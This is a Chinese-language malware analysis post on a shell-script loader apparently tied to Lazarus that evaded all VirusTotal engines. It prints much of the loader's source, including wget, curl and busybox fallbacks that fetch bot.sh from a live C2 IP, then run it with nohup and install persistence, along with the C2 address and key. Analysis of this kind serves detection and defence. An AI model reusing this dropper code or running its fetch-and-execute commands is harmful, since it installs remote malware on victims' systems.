在安全分析领域,高级持续性威胁(APT)组织 Lazarus 的活动一直备受关注。近期,一个疑似与该组织相关的恶意Shell脚本样本在 VirusTotal(VT)平台上的检测结果颇为“亮眼”——社区评分显示为 0/61,意味着当时没有任何一家安全供应商将其标记为恶意。
该样本的文件名为 legacy_loader.sh,其 SHA256 哈希值为:
cd78aadb043ae4ba9dce3e2df3b502af7c3115af02d834d2148b5d559f1f88f
脚本的核心功能是充当一个下载器(Downloader),其最终的通信与控制服务器(C2)指向 IP 地址 45.156.87[.]228 的 8030 端口。在通信过程中,脚本还会携带一个关键的查询参数 key=lazarus,这似乎是一种身份标识或认证机制。
一、 VirusTotal 检测与行为分析
在 VT 平台的分析报告中,该文件获得了“0/61”的社区评分,即零检测。

平台的“Code insights”部分清晰地勾勒出了该脚本的行为链条:
- 自提权:脚本首先确保自身具有可执行权限。
- 下载Bot:尝试从
http://45.156.87.228:8030/ 下载名为 bot.sh 的文件,并保存至 /tmp/.bot。下载过程采用了多后备方案,依次尝试 wget(静默与非静默模式)、curl(静默与非静默模式)以及 busybox wget,以最大限度地适配不同系统环境。
- 执行Bot:成功下载后,尝试使用
chmod +x 或 chmod 755 为 /tmp/.bot 设置可执行权限,随后在后台运行此Bot文件。执行时也考虑了多种解释器(直接执行、sh、bash)的可用性。
- 下载持久化脚本:接着,从同一服务器下载另一个名为
persistence.sh 的文件至 /tmp/persistence,采用相同的多后备下载策略。
- 安装持久化:为
/tmp/persistence 设置可执行权限并运行,之后将其删除。
- 自我删除:原始脚本
legacy_loader.sh 最终尝试删除自身。
动态行为分析也捕获了其发起的网络请求,证实了上述流程。

可以看到三个成功的 GET 请求,分别对应下载 bot.sh、访问 command?key=lazarus(可能用于心跳或指令获取)以及下载 persistence.sh。
二、 恶意Shell脚本代码解读
该样本的代码设计体现了针对老旧或受限系统环境的兼容性考量,其注释自称为“旧系统(如 Debian Wheezy)的遗留加载器”。以下是其核心代码部分。
主下载逻辑
脚本开头定义了下载函数,其多后备策略是绕过基础工具缺失或SSL证书问题等障碍的关键。
#!/bin/sh
# Legacy Loader for Old Systems (Debian Wheezy, etc.)
# This script handles the initial deployment on systems that might not have proper wget/curl or have SSL certificate issues
# Auto-fix permissions on first run
if [ ! -x "$0" ]; then
chmod +x "$0" 2>/dev/null || true
fi
BOT_URL="http://45.156.87.228:8030/bot.sh"
BOT_PATH="/tmp/.bot"
API_KEY="lazarus"
echo "Legacy Loader starting..."
# Function to download with multiple fallbacks
download_bot() {
echo "Attempting to download bot..."
# Try wget (most common on old Debian)
if command -v wget >/dev/null 2>&1; then
echo "Trying wget..."
if wget -q "$BOT_URL" -O "$BOT_PATH" 2>/dev/null; then
echo "Downloaded with wget"
return 0
fi
fi
# Try without -q for older wget
if wget "$BOT_URL" -O "$BOT_PATH" 2>/dev/null; then
echo "Downloaded with wget (no quiet)"
return 0
fi
# Try curl
if command -v curl >/dev/null 2>&1; then
echo "Trying curl..."
if curl -s "$BOT_URL" -o "$BOT_PATH" 2>/dev/null; then
echo "Downloaded with curl"
return 0
fi
fi
# Try without -s
if curl "$BOT_URL" -o "$BOT_PATH" 2>/dev/null; then
echo "Downloaded with curl (verbose)"
return 0
fi
# Try busybox versions
if busybox wget -q "$BOT_URL" -O "$BOT_PATH" 2>/dev/null; then
echo "Downloaded with busybox wget"
return 0
fi
echo "All download methods failed"
return 1
}

提权、执行与持久化安装
在成功下载后,脚本通过多个函数来处理文件权限、启动Bot以及安装持久化模块,同样考虑了不同系统环境的差异。
# Function to make executable
make_executable() {
echo "Making bot executable..."
# Try normal chmod
if chmod +x "$BOT_PATH" 2>/dev/null; then
echo "Made executable with chmod +x"
return 0
fi
# Try with numeric permissions
if chmod 755 "$BOT_PATH" 2>/dev/null; then
echo "Made executable with chmod 755"
return 0
fi
# Some systems need different approach
cp "$BOT_PATH" "$BOT_PATH.tmp" 2>/dev/null && mv "$BOT_PATH.tmp" "$BOT_PATH" 2>/dev/null
echo "Executable permissions may not be set, but continuing..."
return 0
}
# Function to start bot
start_bot() {
echo "Starting bot..."
# Try to run directly
if [ -x "$BOT_PATH" ] 2>/dev/null; then
nohup "$BOT_PATH" >/dev/null 2>&1 &
echo "Bot started directly"
return 0
fi
# Try with sh
if command -v sh >/dev/null 2>&1; then
nohup sh "$BOT_PATH" >/dev/null 2>&1 &
echo "Bot started with sh"
return 0
fi
# Try with bash
if command -v bash >/dev/null 2>&1; then
nohup bash "$BOT_PATH" >/dev/null 2>&1 &
echo "Bot started with bash"
return 0
fi
echo "Could not start bot"
return 1
}
# Function to install persistence
install_persistence() {
echo "Installing persistence..."
# Download persistence script
PERSISTENCE_URL="http://45.156.87.228:8030/persistence.sh"
PERSISTENCE_PATH="/tmp/persistence"
# ...(truncated)

三、 总结与思考
这个 legacy_loader.sh 样本是一个典型的轻量级、高兼容性的第一阶段下载器。其技术特点清晰:
- 强兼容性:通过多工具、多参数的后备下载和执行策略,确保在各类Linux系统(尤其是老旧系统)上都能成功运行。
- 模块化加载:自身仅负责下载和加载更核心的
bot.sh(可能为主功能模块)和 persistence.sh(持久化模块),结构清晰。
- 痕迹清理:在执行完毕后删除下载的持久化脚本和自身,减少驻留痕迹。
其在VT平台上“0/61”的检测结果,一方面可能由于样本较新或使用了某种规避技术,另一方面也提醒我们,对于这类看似“简单”的Shell脚本,传统的特征检测引擎可能存在盲区。防御者需要结合行为监控、网络流量分析和终端安全机制进行综合防护。
对这类样本的深入分析,有助于安全研究人员更好地理解攻击者的技战术,并完善相应的检测与响应规则。如果你对更多恶意软件或逆向工程的实战分析感兴趣,欢迎在云栈社区与更多同行交流探讨。